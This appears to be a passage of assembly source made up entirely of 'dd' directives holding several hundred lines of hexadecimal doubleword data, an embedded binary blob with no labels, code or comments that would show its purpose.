dd 203EA417h, 3AA30502h, 813D3DAEh, 4DD04C00h, 0DBCE5FFEh
dd 8A573Eh, 0CA877722h, 31C328Dh, 0F7A6EC4Ah, 4890333Fh
dd 0B800C313h, 5B90F0DAh, 1FE792Bh, 0FF9959C8h, 0C0AB0D3Dh
dd 3BEEA323h, 3CC90900h, 86B73296h, 56E21E12h, 55BF4049h
dd 0F15D0CF9h, 0DC3EC700h, 0D1D06159h, 6C770E24h, 51000223h
dd 0A0B71F21h, 811D5F01h, 0EEA88613h, 738074h, 2225CA72h
dd 52A34BC0h, 71104C07h, 5AD36460h, 4192D1A9h, 45460h
dd 25773AB2h, 5DCED518h, 240FEB07h, 7D20A574h, 28CB8217h
dd 0FA40E5h, 9CC5543Dh, 88844764h, 0FD8ADD1Fh, 0F8EADE8Ah
dd 2865E800h, 0F6B1Ch, 7C8EB25Eh, 81F9729h, 1E10A1h, 0B2643Fh
dd 0B65ED75Dh, 0E2B911Fh, 4BF087F0h, 1FB04DB8h, 5222800Eh
dd 0C002004Fh, 1859C29Ah, 285FD54Ah, 8021D97h, 89F28855h
dd 528F55BAh, 3894A18Fh, 0E66F9101h, 0ED3F6671h, 62A3015Fh
dd 4A51FFCCh, 651804DEh, 8014D7BEh, 72BCD403h, 80A9163Dh
dd 0A1BD2BF8h, 2C7DBB41h, 0CFE257h, 131C73CAh, 2C7ECFE7h
dd 0B4E5207h, 466062C2h, 12F4D3h, 0EB6D0558h, 0C901A804h
dd 0B800CCECh, 41FA4996h, 1AE197Ch, 0A9CE4E0h, 0BB815F9Bh
dd 27AA8081h, 0BD94FDC7h, 0DC051DEAh, 211119BCh, 3D9B20C3h
dd 6BDF2903h, 0D773C180h, 11E9BFE0h, 0EA2B7D8Dh, 53F20063h
dd 888343C0h, 66633456h, 0D2027D18h, 5F5200BDh, 287C82E4h
dd 604C1A37h, 1A72A11h, 86E0F835h, 85561787h, 0DCCE017Ch
dd 0D0E6C46Bh, 20C03033h, 47565125h, 0BB8E6A0h, 4BF7CA83h
dd 131DF600h, 0FD24E288h, 89834C12h, 6C5F7846h, 7FD18088h
dd 0FFB33E07h, 64E3C014h, 0E5FDF88Bh, 6CDDB043h, 0E4148F5h
dd 53E78206h, 11DC31h, 0AE4071C8h, 0FA64175Dh, 84F6533h
dd 0AB2109D9h, 1F00413Ah, 0B7402BD5h, 13174E19h, 8D184F48h
dd 774820FFh, 0C4245F54h, 36A788h, 0D06FE941h, 34CA58F4h
dd 0EB2B7806h, 50E44274h, 8C9AE4E5h, 8E24AF04h, 1262ACF6h
dd 27B0C420h, 0FF8C00EEh, 91F51C04h, 34247E7Fh, 92055CBFh
dd 9407C763h, 724C299Eh, 0A52704FDh, 0C3C9CB18h, 0D0FFA1A2h
dd 6F33A663h, 5E57B800h, 8AB95160h, 42600E2h, 0C18BE65Ah
dd 6C00986Dh, 31B49BC0h, 0AC7984h, 42CE9353h, 69851562h
dd 0C0B62E00h, 884A4894h, 0B13D38CAh, 5487FF83h, 0C0F58B73h
dd 5038BFA4h, 10527B00h, 889E50Fh, 0EDC004Bh, 9911CC5Ch
dd 462C169Ch, 4002067h, 484E254Dh, 580A001Ah, 274331BEh
dd 0D7A7209h, 0FE777BF2h, 0AC299605h, 46E97F4h, 1B3856F0h
dd 0A8EA7F42h, 55430B6h, 21F9DD11h, 6BE93700h, 6D87CF53h
dd 66F0EFEh, 0FA6CA932h, 8118819h, 222272F5h, 0B1EB5018h
dd 0C1E80348h, 0F6A93461h, 3C20A0F9h, 0FDD10A00h, 7DEF4E32h
dd 194EE8Ch, 5DDF024h, 805E5B2Eh, 39B8CD18h, 1E372AE5h
dd 0CCF8F06h, 6DA0C6F7h, 3CAE8000h, 0D0567EABh, 60766F5Ah
dd 88577C80h, 160A77DFh, 4031F1E4h, 0D40B39Fh, 220669BCh
dd 14F0098h, 0F461CB7Fh, 921C203Eh, 0D0465297h, 3CC0CF1Ah
dd 0B8E07C83h, 0D7815715h, 803EAD3Ch, 0BBC20506h, 0A280929h
dd 0D2F7E837h, 0E57D0034h, 0A184A933h, 4055D130h, 107956BFh
dd 0F679B87h, 803B467Fh, 29D8141Ah, 1E890322h, 42D37DB6h
dd 0B473F3E0h, 5001CCF4h, 0C4FFA9E4h, 34F10649h, 61D2D1F0h
dd 46B3AA2Bh, 55AC503Ah, 9C1533B7h, 0E8014Ch, 7689D20Ah
dd 292BF996h, 1FC02D8h, 0FF53AA05h, 2AC09C08h, 8006F14Ch
dd 1F85FCBh, 6188BDA4h, 839840B9h, 0C7157489h, 0C2245682h
dd 2427DBBBh, 0AE9B42E5h, 0A390AF25h, 0F83FCBA8h, 1A9355Dh
dd 0F92C7B99h, 0E4A2FF07h, 291D8202h, 910E4A3Ah, 3E06DFF5h
dd 1490F014h, 0FC7F57D0h, 0B6875A07h, 0AD824134h, 533ECC38h
dd 0A9625506h, 39B8E507h, 0D23D471Ah, 19C015FCh, 33C45814h
dd 412248DCh, 83083811h, 6FDB2D28h, 1D88D9E9h, 74048055h
dd 0C41FDD9Eh, 882F1EC1h, 88500268h, 48C122FFh, 7667B71Ch
dd 16E1B081h, 0CCA5EF92h, 0FF33A745h, 0A82C18C8h, 48EEE394h
dd 9700587Dh, 9B3CAF0Ch, 0D23B567Ch, 28F9241Ah, 7158140h
dd 24D47CB9h, 447457FFh, 414089AAh, 5A75B790h, 780B28F4h
dd 504EEF06h, 12207A1Dh, 20D93D94h, 0EE5A1FECh, 0B8E64A03h
dd 443BDC96h, 76FCE0h, 982A0756h, 111975D3h, 3058014h
dd 1EA7C234h, 0FDB51128h, 306C8CCh, 7829A464h, 0F7A7CC80h
dd 14077D1Fh, 9C1DB84Dh, 343DBD00h, 704BA27Bh, 0BB00F979h
dd 5FBE6EF1h, 1226A19Ah, 477E1E50h, 0CF936Ch, 82BD96FFh
dd 0B83C0800h, 92F7E919h, 3A620580h, 943B4Bh, 66C2BD88h
dd 9802078Dh, 12F71011h, 5550667Fh, 0F1BEECB6h, 7737B500h
dd 0F79CCDBCh, 0C4F5112Ah, 763DE9F8h, 0CC32804Bh, 8137A29Bh
dd 0F203CCBh, 0C350A49Dh, 0EF6C4335h, 0B802CCD3h, 86513C69h
dd 1BDC8036h, 0E45358FFh, 20134903h, 0EC66D600h, 6BDD2CBh
dd 0FDB880C0h, 61B7479Ch, 699BF1CAh, 42489131h, 66AA2103h
dd 2811A170h, 95007C1Eh, 6987D626h, 590CBB35h, 6939C703h
dd 0FEB5075Eh, 0C655E858h, 0E9DF19D3h, 85603000h, 12E5EC69h
dd 9DFF44h, 3FD6A6DCh, 5E00F34Ch, 0A3173CBBh, 49FD062Eh
dd 20419CC8h, 0E360F8h, 0EEBB58F9h, 29D976F2h, 5AD6C606h
dd 0B020B5h, 4EA33C9Ah, 0CA580DFAh, 1807DD24h, 0DC31FC0Ah
dd 0DAFF003Eh, 0B3EE1A7Dh, 81C013CDh, 0F980170h, 248DBBCCh
dd 0AB0C4078h, 18350366h, 0AD7B24A3h, 0F7EB0AACh, 3F2360E8h
dd 0F9077EAFh, 7046985Bh, 0A0266722h, 0CE392BBCh, 0FC1E53BDh
dd 0BBB7C009h, 64F8F800h, 0F01E794Ch, 0EF403C77h, 7ADFCC47h
dd 13E0D3h, 23EA27Fh, 0E9B31F06h, 51FC827Ch, 20309826h
dd 3816D105h, 0DAF7B030h, 208904Dh, 0FF0CE429h, 0B8806830h
dd 97A0E594h, 10796004h, 8CC50FD2h, 1CF85020h, 7DC604BDh
dd 6C921h, 4773CDD6h, 0B08D5033h, 0E5584C5Eh, 0DD8EB900h
dd 7D507929h, 700241D3h, 603C847Ah, 1E9288h, 4C2B3FAAh
dd 0A69A52A3h, 58E8C612h, 5FF2800h, 3FE5C74Fh, 0B5859804h
dd 82B797D1h
dd 846855F8h, 7A158D0Fh, 5494DBD7h, 0F87D0CE8h, 14A2CF77h
dd 2A09B800h, 79168236h, 0BC5F07D7h, 1E916C4Eh, 1000BAD3h
dd 0AAE75764h, 968F012Eh, 0B63526E3h, 14C0EEE4h, 0EB127A44h
dd 0C009C56h, 43EE0761h, 77D200D9h, 20C9D701h, 861D52DFh
dd 0C01CEC1Eh, 0C095294Eh, 8C94237Ch, 3B80035h, 7B01DBE9h
dd 85097F0Dh, 941F0ACDh, 0DBD616E0h, 0A98031B5h, 0F08C350Eh
dd 30B83CCFh, 0A4172893h, 409B9C28h, 349079E8h, 240F4444h
dd 0BCE4FEF7h, 0D616B009h, 0BA898C0Fh, 80086811h, 58FB7149h
dd 9AEDD6C8h, 0E964004h, 995B7A40h, 65E9120h, 97FDBC96h
dd 7EB22128h, 20683C09h, 0CD9A51C8h, 0B184EBD2h, 92C7853Dh
dd 4061BFACh, 8F209167h, 59F7864h, 4C467EDAh, 222861D9h
dd 650306A3h, 3566C46Ch, 6AA8E3CCh, 134CE119h, 0A03802FDh
dd 2460B432h, 901FF304h, 0A2C03CBCh, 0AEA69B40h, 0BF5214E8h
dd 71CB8857h, 0B2660010h, 2FF0FDE8h, 0ACA6E426h, 0D7741849h
dd 0C4311679h, 0B32828B6h, 0B76B4712h, 57683400h, 49D48351h
dd 113BAC29h, 809D0DDh, 6890FA2Ah, 4B024091h, 0ABBD4807h
dd 2808B79h, 0E0313714h, 12CD8648h, 0B8F988h, 2C9AA268h
dd 0C713CBF3h, 24210563h, 207BC0Bh, 244812AAh, 0A53B8F44h
dd 0E4DFAC1h, 0C82A8468h, 4EDD9000h, 8921653h, 3A445092h
dd 34100755h, 8A1A6492h, 0F175184Ch, 9960BBD3h, 6C325751h
dd 0CF513EB2h, 5046116h, 128770ECh, 9810225Ch, 7CFEF4E0h
dd 8222DD07h, 37C11EE7h, 0C02447C8h, 0ECB955E1h, 0D312047Ah
dd 4EF08151h, 0C419AC2Fh, 30019413h, 0C3CC100Ch, 63806C50h
dd 64B0581Ch, 3442EF80h, 1716FFD1h, 24300237h, 5051B38Eh
dd 10E9077h, 5D628C98h, 0D0691CD9h, 18AD1801h, 0DB258480h
dd 3B95F4h, 1CA2FEC3h, 79D04102h, 9C9A33B0h, 0E07F59h
dd 0A9C3C8B2h, 3372A5Eh, 3D29A19Bh, 34F831C2h, 4A02B590h
dd 0C64516Ch, 42748F18h, 61802C41h, 404829A8h, 73B70067h
dd 6DCC0DC4h, 5B5C4084h, 2077B1C4h, 0F8C88C55h, 84722863h
dd 44F098C8h, 5C09F83Ah, 807B3681h, 2F0EA290h, 0E80CB2EDh
dd 1DE003h, 0C19D0944h, 0A23BFEF8h, 0EE054D05h, 84BB814Eh
dd 476CD0F0h, 10BA21BDh, 5ABF2A09h, 0D03F0323h, 81D903CDh
dd 2D16B46h, 7E6048h, 3B4ABD82h, 3B2B7D37h, 4404D24Eh
dd 0B4220881h, 0B49823E4h, 2D03F00h, 52A27DABh, 46BD0181h
dd 69CA3439h, 0CBB920CCh, 980F2205h, 822CD93h, 0B7A83091h
dd 0CE3E3471h, 82E10280h, 60AB066Bh, 122944D8h, 1D2C4ADDh
dd 0CA379D04h, 42304097h, 4440B7D8h, 3D095599h, 8E488F8Dh
dd 49C50070h, 7529EE01h, 0CF8202FBh, 0DE7A081Dh, 442C1C50h
dd 0B242B8A3h, 8E6B4357h, 21FC9218h, 6A903B47h, 5E3DFB1h
dd 14B02098h, 0C049BE01h, 282B427Ah, 0E28E875h, 0EB17B43Ch
dd 0C44DCE96h, 2070C0A3h, 88335C67h, 0DC0824h, 57773678h
dd 0EA440329h, 0CDA826EDh, 305F0170h, 60582035h, 0C477FF34h
dd 4EF31B00h, 567889BDh, 18E8B0E4h, 0D809A334h, 99D281h
dd 0ACE9700Eh, 134938CCh, 8147F303h, 30E75C3Ch, 0FA5CCBCAh
dd 50A40588h, 832C609h, 0DC4930D0h, 0EDBD5213h, 0C4814h
dd 483CA57Fh, 0AB331D8h, 0A02979FAh, 0D5907144h, 2CD46702h
dd 0A700C8CCh, 77345095h, 0AAF7009Bh, 0EC6053E3h, 5518517Fh
dd 0A9381A05h, 14808B7Eh, 9660E57Ch, 0BBB87F61h, 0BCEF29F0h
dd 7A2E00D0h, 8C80BA33h, 0B250C09Ch, 0D44951B5h, 5894CC0Dh
dd 89F7B0C5h, 4E1A412h, 0CC20873Bh, 2029E455h, 59EE1044h
dd 0B5292EFAh, 7AE902B0h, 8995F2Bh, 386B184Dh, 7C480718h
dd 9046CC50h, 69F894h, 0BB33602Ch, 4527083Bh, 3C22D090h
dd 6D5601DEh, 0DCBF97ACh, 20FC2129h, 9A4B0E50h, 21D1DC29h
dd 0B0422C00h, 0DE2C28B2h, 508C34D5h, 2A3117h, 0EC7B9B79h
dd 6F553D2h, 0EBE9A800h, 498B7F9Dh, 0B93A0959h, 1C890A3Bh
dd 10CD5007h, 144034C3h, 90063706h, 683029h, 7DB877FBh
dd 1DC8D57h, 60497F4Eh, 0FB03850h, 536D1F6Eh, 0B12284D8h
dd 254F31Dh, 7B47B55Ch, 924448C1h, 0E08F4C4Ch, 0D32CCC3Eh
dd 1992B8h, 0B67F5510h, 9F26867Ah, 0B4051034h, 20C046AEh
dd 7F7682EEh, 0F618C167h, 607CF2D2h, 15048190h, 0D9B3CE0Dh
dd 3DED58B1h, 2C2C03D4h, 8048B4FAh, 7B46A047h, 970081CBh
dd 20579CDh, 0BBCE40h, 372175E7h, 0A863FE8h, 0DB08C0A5h
dd 0F9950113h, 70ABD8A9h, 6F00A34Ch, 0FDFB1CB6h, 3237B899h
dd 0A438AF40h, 3388C868h, 0E00218A8h, 0B8830A5h, 342A0214h
dd 0C048A52Fh, 6400152Dh, 4C8B527h, 0F98C75B2h, 188E79D8h
dd 0D81F44FFh, 0E3018857h, 87CF16F7h, 883CBD25h, 7914D21Bh
dd 0AF951810h, 0FF497087h, 9C10A08Bh, 341A3EAAh, 0D31151B7h
dd 0AC658100h, 1B089315h, 0CACF741Ch, 0BD06FF3h, 0D042A90Ah
dd 3C05A478h, 0D20DD4E2h, 1AF8D843h, 3D1101D3h, 7AA9A886h
dd 14475FDh, 6C1B72E6h, 1FCF0680h, 2586D2Fh, 0DB3550F8h
dd 0A444D2CBh, 90D8B567h, 8870C080h, 6097F816h, 0E642214Fh
dd 37016919h, 0D70A11A9h, 6820E88Ch, 0DAC609BBh, 0D8C039A2h
dd 0C505366Fh, 0D08D9C63h, 0F9BD00BBh, 19BDF2E9h, 0FECD8118h
dd 0B78510h, 0D9C167F3h, 880CE11Ah, 0A9D5D200h, 0B0481091h
dd 0FBA4A80Dh, 39CD30CBh, 6929D6A9h, 160EB73Fh, 0E90B51FCh
dd 480089C7h, 0F0948D30h, 84A054B2h, 40D178FBh, 0C600FF3Bh
dd 0DA2EE09h, 0FE6FE9Ch, 0B906617Dh, 1820F6A0h, 1900F32Eh
dd 0C94D56AAh, 77025C86h, 22B48075h, 0DB009DE6h, 57C7E49Eh
dd 0C0585409h, 7096E679h, 0DB0190EEh, 0F5C301A2h, 97DCA407h
dd 882200A6h, 0EA629341h, 4B4D2ECAh, 48471C3Ch, 5F6DB1C0h
dd 4356625h, 937236C7h, 1C6CF8F5h, 0C1F296FBh, 0CE99604Ah
dd 3DE80EEEh, 0EB47F595h, 0E626804Eh, 94A4C8CBh, 0F9E5DB00h
dd 3D2ABC58h, 2623B844h, 0A057B1h, 0E35C8529h, 0CE0007B5h
dd 4F79AB2Dh, 3CC8CA2h, 668A3A6Fh, 55E0C939h, 0C1062DD7h
dd 0D0A636BCh, 89D33008h, 55D56720h, 5EE10400h, 2E41F383h
dd 0E46F0711h, 7029AF8Dh, 8E2DBFDCh, 37E88501h, 3A9321B2h
dd 868BF4h, 0BABE7D5h, 118DC4EBh, 8208F263h, 0DD200036h
dd 421FE806h, 830025CFh, 0D7644F69h, 2E3A90h, 8D4C3CF4h
dd 95CE0985h, 1BE36C40h, 185DD803h, 0A948A060h, 3EA359C5h
dd 0C37E4F6Bh, 91A42E19h, 0D088CAA0h, 0BCCC200h, 69C6E3BDh
dd 557FEABFh, 30DE886Bh, 0D61155AEh, 7484B92Dh, 0D464008Bh
dd 0AE8E655h, 2D494E13h, 9C298194h, 9F284D0Dh, 8D194628h
dd 76F08C19h, 9D2401C2h, 68D428ECh, 66B88235h, 60531C19h
dd 3F70A0D1h, 6F3AB192h, 0E211E30h, 4D0052B4h, 8430D881h
dd 18F2DCD1h, 91216F08h, 3700C226h, 0ABE21CADh, 0A07101CDh
dd 7DA7FE94h, 13F71E90h, 82440B7h, 26D76A51h, 0A9B90300h
dd 6BC82E0Fh, 0C7AD0058h, 0C0369C76h, 0D7FF61Fh, 9D3F9903h
dd 3EE4335Fh, 7A001E10h, 27BD05E9h, 9B003AA3h, 220FF807h
dd 7B3A8FDh, 3262BE12h, 1D2D53F9h, 0C8594900h, 4CCA5BFFh
dd 0F0AA4175h, 21C091C4h, 0DEBB83B1h, 5A4B0468h, 805CF9CDh
dd 5FDA4A4h, 0C1D95300h, 0E0383398h, 0CBA7008Bh, 6D55E24Ch
dd 9B00804Dh, 360BE59Ah, 63F3B856h, 0DD746887h, 0A1594DE0h
dd 0C150CB30h, 876FABh
dd 0C01FBDB7h, 0DD751D92h, 5FE4F30Fh, 0FFC7E7A7h, 41CBC6h
dd 0A36419EEh, 0E1DA4651h, 0B1E4DE8h, 0A2003FDBh, 7F0A1BAh
dd 0A7670047h, 8E9561EDh, 0E9079A75h, 0B26317A5h, 21FA3600h
dd 271207F8h, 0B1E2FB01h, 830E1BCBh, 397E2C90h, 49EAF883h
dd 7D130090h, 710426ABh, 901F2A8h, 9F188664h, 0E7FC532Ch
dd 35EC0711h, 8F700D38h, 3443948Fh, 0E593208Ah, 0FF5344D1h
dd 1584A9C0h, 7F9E7202h, 0F5A79C61h, 28108F43h, 0AD006E99h
dd 9FCBE235h, 1800A451h, 0A715622Ah, 0DDFB0Bh, 48C389F5h
dd 0E86B782h, 0C58ED600h, 580A628Dh, 0E2CF0001h, 171AB57Bh
dd 12004C36h, 49B02C4Eh, 0C52B6Bh, 0B820BABEh, 56CC3748h
dd 0D93C7901h, 2C941A38h, 0F6C45FDCh, 34EE68Fh, 7380FA3Dh
dd 0A3CA6E71h, 0B5F14140h, 0EBD0D500h, 3D63102Fh, 5D510090h
dd 417ECDA4h, 38009349h, 740631DFh, 0A8BC7C63h, 211A94h
dd 9B203E92h, 0B10E4C13h, 829C7F00h, 7E9430F1h, 449D008Fh
dd 0ABA39BDEh, 9E0045DBh, 11A6821h, 1431999h, 74C446B9h
dd 7EE4EFF0h, 7A97ACC0h, 94980041h, 5A3E5440h, 271C8312h
dd 5D001DEDh, 8F1BA02Eh, 4E00089h, 0D0C795F1h, 0D909DD7Bh
dd 57C48850h, 41655080h, 0E5023EC6h, 9C92D4A6h, 6EE640F8h
dd 5ED50025h, 76BE2C67h, 0E6076B93h, 0AA4B6FB3h, 89151AA0h
dd 80F00337h, 962B3311h, 0E90597B8h, 1841AD00h, 0E8C95622h
dd 0A8F34B7Fh, 0D7720AB8h, 0AC808CECh, 57C30B8Dh, 2D8C01EAh
dd 0BF2F7A82h, 0D1C8C03h, 1C5BA8E2h, 0C0F68EEFh, 79959D86h
dd 28003002h, 0DDB3FAC6h, 0F8DCF2Fh, 24462A55h, 2300F834h
dd 6383B6ADh, 711C70C3h, 1FAEE536h, 123F3Fh, 8454B16Ah
dd 346120h, 0C63A6562h, 0F1F710F3h, 13ED7400h, 99F94049h
dd 0A03B0003h, 0C3184E0Eh, 0E7091DB3h, 56CF5Eh, 34FD0178h
dd 47A700AAh, 99513A72h, 0C91D12E3h, 4981D323h, 0CFE42E70h
dd 0F7636E0h, 475D8C2Ch, 0AE4EDCC0h, 0BC076654h, 0EB50437h
dd 0FAD262E0h, 417476h, 0B3A9D6CAh, 1423CE36h, 4BB4531Dh
dd 38C28B80h, 966EB2h, 0DA1095A7h, 0BCDB3970h, 8986F000h
dd 0EA594174h, 17E9880h, 7E43117Ch, 0DCFE8B4Eh, 0C700764Dh
dd 0F72F37B0h, 1B2F978h, 74F3FAB6h, 0D4FED8BDh, 2E1C51F5h
dd 48C7151Bh, 6B305822h, 0AF8025h, 357CCAFDh, 7E8D783Ah
dd 2F50FE00h, 0A07FFBE1h, 0F0F6550Dh, 74B55AFCh, 67C1003Fh
dd 0DAC4C3CAh, 0AB73972Bh, 823CA33Bh, 8FF2480Dh, 57040B5h
dd 970F0026h, 75827BAAh, 1B001D14h, 7E45F417h, 2D45934h
dd 0BF33EBE0h, 2CC074C9h, 0C709C29Ah, 0CB0AD3h, 9C60FC6Dh
dd 0E925002Ch, 0C5724BC8h, 0DCE18706h, 0ADA039F3h, 0BBEA6E77h
dd 0D1CCDD00h, 3559EC0Dh, 0A244006Ch, 0EBA93BCAh, 1273B613h
dd 48003976h, 496C333Ch, 1632D3Eh, 37659B29h, 8717CFDAh
dd 4240D178h, 6F0CBC31h, 0F3F9E9FBh, 0BD538880h, 0BA649285h
dd 0E6417C00h, 0FB077FD4h, 7A8B63C6h, 0D5C08545h, 612EB73Dh
dd 400A968h, 5CBF64DAh, 1F08008Dh, 8CC5FEF3h, 5200F6DDh
dd 676A73BDh, 2DEF56h, 0E0A13446h, 0AC32CEDAh, 0FD304D00h
dd 626AD810h, 0E908026Bh, 458267AAh, 0D858DCE1h, 75E21FEBh
dd 0BCFF2800h, 0AD5A0219h, 4D7800CBh, 328905A8h, 9200908Dh
dd 2D982822h, 0FD566Ah, 17DEABAAh, 0B16269A8h, 846C4A24h
dd 0B618D03h, 68CB825Bh, 1415C4h, 47A03439h, 0C2FBD5DCh
dd 0B849690Eh, 0F98921FEh, 0A9FBCA6Dh, 0D1DC556Ah, 68BA0045h
dd 0E1C03962h, 64906D9Dh, 613E5600h, 0C685F0DFh, 0B373D92h
dd 0EB96FB00h, 53804CA5h, 0A68439h, 0DD57FAB9h, 5C193Fh
dd 0E640F8F3h, 234E0CD9h, 91AE1200h, 6082953h, 70630060h
dd 0FAADF858h, 0E006BA5h, 427E72A1h, 9C6756h, 0EA96D377h
dd 0AD8C441Ah, 6AAED900h, 2649FC08h, 0AC0400C6h, 0BB10A0F6h
dd 3400A28Ch, 85B5866Ch, 0F8BF5415h, 17250026h, 0FF0692E6h
dd 0D502CEA7h, 8F0CE379h, 70284038h, 60C80124h, 21C7341h
dd 17D0D47Dh, 7611B513h, 0E7634801h, 24209A84h, 89060051h
dd 4C183A96h, 73002FE1h, 0B8CDD225h, 191A4ECh, 5A3778CEh
dd 6FDCEF07h, 1D19EF0h, 850C57Eh, 0DD4068C1h, 0DFC9E02Dh
dd 76D4E300h, 0DAD9ED62h, 6FCB013Ah, 4E346EA2h, 0C483EDDCh
dd 15000BC9h, 6248BAE7h, 0E2942A74h, 0F5CB0059h, 0CC0F1371h
dd 0D1005561h, 40A24DD9h, 0BAA1265Bh, 0C0050010h, 8A229E5Dh
dd 0CA0E3547h, 6117A958h, 0C4306CDh, 22AA460h, 68962764h
dd 7040DC48h, 6F007CBEh, 0CF0EA11Dh, 3CB0FDB4h, 29BEEB2Ch
dd 40969807h, 0E01CB2E4h, 0ECF83CEBh, 0A5039DB5h, 9CAABF68h
dd 20A181EEh, 0D19F8880h, 21155C8Ch, 19844F03h, 0A78D5179h
dd 0A09DD301h, 281AB186h, 0E800516Fh, 0EEB88314h, 0E98024h
dd 7375D1C7h, 787FA63Ch, 19C8E3FBh, 3D009DFAh, 7D0BD21Eh
dd 17AC367Bh, 10F43B4h, 0BC50C774h, 5C78811Fh, 7A01947Dh
dd 0EA0C30h, 77C78074h, 0F0350B91h, 40CF5F00h, 2160FBF2h
dd 82C40AE4h, 6574EE8Fh, 145840D2h, 39845149h, 7061E530h
dd 1ED72085h, 40665075h, 0F001C243h, 0AE0751A0h, 0EFFA3B73h
dd 53820340h, 0A7000B2h, 0A697ACBEh, 0CC009455h, 0AFC3E29Fh
dd 3C87F4Ah, 6B010908h, 2A80C7B8h, 0F107B99Ah, 0C566BB90h
dd 3881A967h, 0ACE4F296h, 0ED9700CEh, 0C0D714B1h, 9002016h
dd 0A5448675h, 2F78C2Eh, 0C8653BC2h, 99407FD3h, 8AB846A7h
dd 0B6F37800h, 16C46DA6h, 0B06C00AFh, 9DC91466h, 10003F92h
dd 0B7F6CB7Dh, 4CAC7F3Bh, 40016A7h, 0FEF2F4D0h, 1100EA79h
dd 0BF95DF84h, 5515121Dh, 90D59864h, 0FEEF75F4h, 1BF30021h
dd 9B555063h, 2730A856h, 9C8A2966h, 6BDB003Fh, 26E0E14Bh
dd 502D6C0h, 9A5FDDEDh, 0C62CC0F5h, 90AF398Dh, 0C554D480h
dd 317AD282h, 93F3CF00h, 0B2627D6Eh, 969F0039h, 0D1E35ADEh
dd 22506FB5h, 0D30F7FD8h, 805F93C5h, 0FD8EAA99h, 2E950030h
dd 0B4D0EF4Dh, 9E00D257h, 3392A714h, 77E9B7h, 6DDF1FF3h
dd 979A5CA9h, 8D803C06h, 677095D9h, 8047129Dh, 98218EFBh
dd 5B202F00h, 2C99F81Fh, 40DC5060h, 4C142C87h, 0DBB8090h
dd 84B3D589h, 0FA95E800h, 0E480679Bh, 0D23414FFh, 87018C51h
dd 0E0F1D68Dh, 0D56AD8F9h, 0DFCC9500h, 49522625h, 0E35E63Bh
dd 4F0F2B10h, 0E65B2EA0h, 0E9E8588Dh, 426AC07h, 0FEC08EDEh
dd 2F3E36h, 0FFA938F2h, 705E65Ah, 0AFEA9D06h, 42290AC1h
dd 7BC311D2h, 1106F111h, 44791C49h, 0C3444137h, 462284ADh
dd 51FA6021h, 969A3749h, 56235103h, 0F05FA935h, 0E30DB331h
dd 15C01D4h, 8391DBE3h, 0F06F1A6Eh, 7E00C640h, 0C5B6423Ch
dd 3F6D5270h, 81581DDAh, 9209FB07h, 82AC90BDh, 0D400729Dh
dd 7A31182Dh, 0CD9A52h, 7CCF89D1h, 34D316EBh, 4C694D00h
dd 48388E8Ch, 75B30006h, 4473BA79h, 9F0F35FEh, 7F46F23h
dd 2F00FD38h, 0FB263Eh, 520899EDh, 5A8E65DBh, 31499B00h
dd 0A2B32C6Fh, 92580027h, 62F0B763h, 34747C3Fh, 48F5BC01h
dd 729B7514h, 69E9C1FFh, 98B05D0h, 0DCA3DA4Ch, 7EC7A300h
dd 83003148h, 2FA15A0Ah, 2C64F461h, 5E954h, 726EE4CDh
dd 0F7E29119h, 4201D690h, 73A57BC7h, 52D8AC8Fh, 0E9240EAAh
dd 0D42006DCh, 1D1A583Fh, 45070E04h, 0C813832h, 39B83CBCh
dd 6DFE7500h, 612334C1h
dd 0B457C00h, 0EC4CF72h, 3BC71EDAh, 636C0D5h, 0AF3AF63h
dd 9633601Dh, 26D364C0h, 3B40D43Fh, 76041FA9h, 0C0CDD1E2h
dd 6DCC72B2h, 0B082FE00h, 7D11F943h, 6DF0018h, 26AF1AEDh
dd 0D005FD0h, 2B38A07Eh, 3724AEh, 13C9631Eh, 8DD0E6DCh
dd 72716400h, 12AFAA32h, 0BDCE0747h, 200DE058h, 0C1E1225Bh
dd 8C61C91Dh, 39D7B041h, 7160A4C4h, 0AE5A022Eh, 5DBC4B2Fh
dd 0C063048h, 3E08D500h, 7018B5C9h, 0E475066Bh, 38A03CDCh
dd 0B1924C00h, 37B066Ch, 21D80029h, 0CDFC1215h, 0B489EFDh
dd 68EE0034h, 60CB9F7Ch, 67AF0F2Dh, 1E6013E9h, 0AA1A7A93h
dd 0B257F607h, 77602A6Dh, 3A6CCBh, 924A3723h, 46B4DCB7h
dd 0C707F77Ah, 7344C933h, 75B036B0h, 0A0E8F869h, 8856DE0h
dd 20C8C72Bh, 398E9B04h, 0E40901Ch, 60B32B97h, 0A2752843h
dd 0CDC900BFh, 0FC44C49Ch, 0F71D2F3Dh, 830FC12Ah, 9A7D428Ah
dd 5536C088h, 61C20BFDh, 9D00988Fh, 0E4ADB5F3h, 2A072F00h
dd 44FEC816h, 807FFFh, 0C1B46534h, 6B1839FBh, 6ACBDD00h
dd 518DCD89h, 7C4348E3h, 50E97874h, 3E50C66h, 82F0576h
dd 46881FE7h, 6800AEDAh, 7A3C9826h, 8AEC02h, 7C927358h
dd 333B104Eh, 5A574300h, 53F395E9h, 9E3F2A56h, 919050CCh
dd 27E000Bh, 162FD726h, 6AE2E218h, 78433900h, 3FAC875h
dd 60800CEh, 0AD2DDEF3h, 1C0067D9h, 1BD62601h, 279E5Ah
dd 0C2A23CF1h, 0C8B14E41h, 75018500h, 73A1F67h, 0A972007Dh
dd 54908696h, 33078B40h, 941ACB25h, 0E8850F20h, 71F200B8h
dd 800A753Bh, 0D0F95E55h, 72F03391h, 3F241D00h, 413A102Eh
dd 79570092h, 0C21E97FBh, 66281403h, 9D07D176h, 0C6916181h
dd 67A8D970h, 30E628AEh, 0DCEAA8h, 11D06DA2h, 5EC9ED87h
dd 0CDD48h, 1238BB0Dh, 3138F33h, 6CBEA9CEh, 26C8EBFFh
dd 0F360AB28h, 0C960C328h, 0D4111CA5h, 46FA403Ah, 0CA826FC1h
dd 0B5368D00h, 0A65F0887h, 0AD77D3h, 0EA0FBB52h, 0FB27FEEEh
dd 79CEA900h, 8CB16AF4h, 0BE960ED3h, 5F204AC1h, 0D8D084EBh
dd 0C33E6600h, 0E52B9844h, 2E417C0Bh, 380AC9ECh, 0B94D098Fh
dd 0C874AAh, 5022326Ch, 0B20015C1h, 0FAABD19h, 3AD32E8Ah
dd 6501D15Dh, 0DB3410A4h, 6932C4A3h, 403DC800h, 0F5C60B14h
dd 3C1EE038h, 0C20026FBh, 0C1485813h, 0F779CE41h, 0A34DDF00h
dd 5BD4540h, 972900E5h, 8B94E2E7h, 1E90F01Eh, 3B1B1000h
dd 0BD8845E4h, 99E01Ah, 0BB69246Eh, 0D505CFCDh, 0EC46B600h
